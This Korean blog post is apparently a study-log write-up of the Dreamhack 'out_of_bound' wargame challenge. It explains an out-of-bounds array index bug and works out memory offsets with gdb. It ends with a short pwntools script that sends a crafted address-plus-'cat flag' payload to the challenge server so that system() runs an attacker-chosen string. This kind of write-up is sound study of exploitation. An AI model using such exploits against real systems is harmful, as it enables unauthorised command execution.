학습 기록일지

Dreamhack - out_of_bound 본문

워게임/포너블

Dreamhack - out_of_bound

KRMP 2021. 6. 14. 21:35

드림핵 레벨2 3번째 문제이다
out_of_bound 취약점을 다룰거같다.

OOB(Out Of Boundary) 취약점이란 버퍼의 길이를 벗어나는 인덱스에 접근할 때 발생하는 취약점이다.

 

checksec 로 보호기법을 검사해보면,
NXbit, Partial RELRO 메모리 보호기법을 제외한 CANARY 가 활성화되어있는걸 확인할 수 있다.



out_of_bound의 소스코드를 해석해보자

7 Line : 전역변수 name을 16크기로 선언
9~13 Line : 포인터변수 command를 10크기로 선언. cat, ls, id, ps, file ./oob를 담고있음
14~27 Line : 기본세팅
29~44 Line (Main) :
- 31 : idx 정수형 변수 선언
- 33 : 기본세팅 함수 실행
- 36 : 최대 16바이트의 문자열 입력
- 39 : &idx의 메모리 주소를 입력
- 41 : system함수로 command[idx] 값을 실행

이번 문제는 get_shell 함수가 존재하지 않는다.
name과 idx변수는 초기화되지 않아서 BSS영역에 저장된다(?)

문제흐름

첫번째로 최대 16바이트 크기의 문자열을 입력받고,
두번째로 위 command안에 존재하는 명령어를 실행시킬 수 있다.


첫번째 입력받는 인자를 조작한 후, 두번째 인자와 조합해 flag를 읽는게 목표인듯.

 

변수의 메모리 주소를 알아보자

info var name, command 명령어로 알아본 변수의 메모리주소

name : 0x0804a0ac

command : 0x0804a060

command 버퍼의 공간

command : cat

command+4 : ls

command+8 : id

command+12 : ps

command+16 : file ./oob

 

소스코드에서 보았던 문자열들을 확인할 수 있다.

 

AAAA문자열을 입력받았을때 0x0804a060을 기준으로 오프셋을 구해보면 0x4c(76byte)인걸 알 수 있다.

즉 command[19]번째에 name으로 저장된 문자열을 넣어주면 될거같다. SYSTEM(command[idx])

system("cat flag")를 노려봤지만 이 방법으로 플래그가 먹히질 않는다. 

 

 

*------------------------ 이 방법이 아닌거같다 ------------------------------*
하루정도 삽질하고 const char * 원리를 이해하라는 댓글을 보고 풀었다... (command의 오프셋 구하는건 맞았음)

system 시스템 함수는 인수로 const char * 가 필요하다.

System의 경우 공유 라라이브러리 함수이기 때문에 외부에서 불러오며, 4바이트는 해당 변수의 주소를 넣고 다음 4바이트에 const char * 인수를 집어넣는다.

따라서 입력받았을때 [배열의주소] + 4 = 문자열 을 넣어주면 되는 간단한 구조였다.

 

 

 

==== 코드 ====

from pwn import *

p = remote("host1.dreamhack.greams",[포트])

shell = b"\xb0\xa0\x04\x08" + b"cat flag"

print(p.recv(1024))

p.send(shell)

 

shell2 = b"19"

print(p.recv(1024))

p.sendafter("want?:", shell2)

p.interactive()

============

 

문제를 풀이 못했을 때 "왜 이게 안되지?" 라고 생각하면서 정작 어떻게 원인을 찾는 방법을 아직 잘 몰랐다.

이번에도 system함수의 인수를 받아줄때 예전에 했던 +4바이트에 인자를 넣는걸 기억 못한 문제가 큼

mov eax,DWORD PTR [eax*4+0x804a060] 

AAAABBBB를 name 값으로 입력할경우, AAAA가 eax로 들어가고 BBBB를 가리키게 된다.

 

함수의 인자를 설정해주는 부분을 보고싶다, 혹은 함수의 주소전 상태를 보고싶다면, 보고싶은 함수와 전에 함수 사이를 비교

'워게임 > 포너블' 카테고리의 다른 글

Dreamhack - Sint  (0) 2021.06.17
Dreamhack - off_bye_one_000  (0) 2021.06.10
Dreamhack - basic_exploition_003  (0) 2021.06.07
Dreamhack - basic_exploitation_001  (0) 2021.05.26
Dreamhack - basic_exploitation_000  (0) 2021.05.20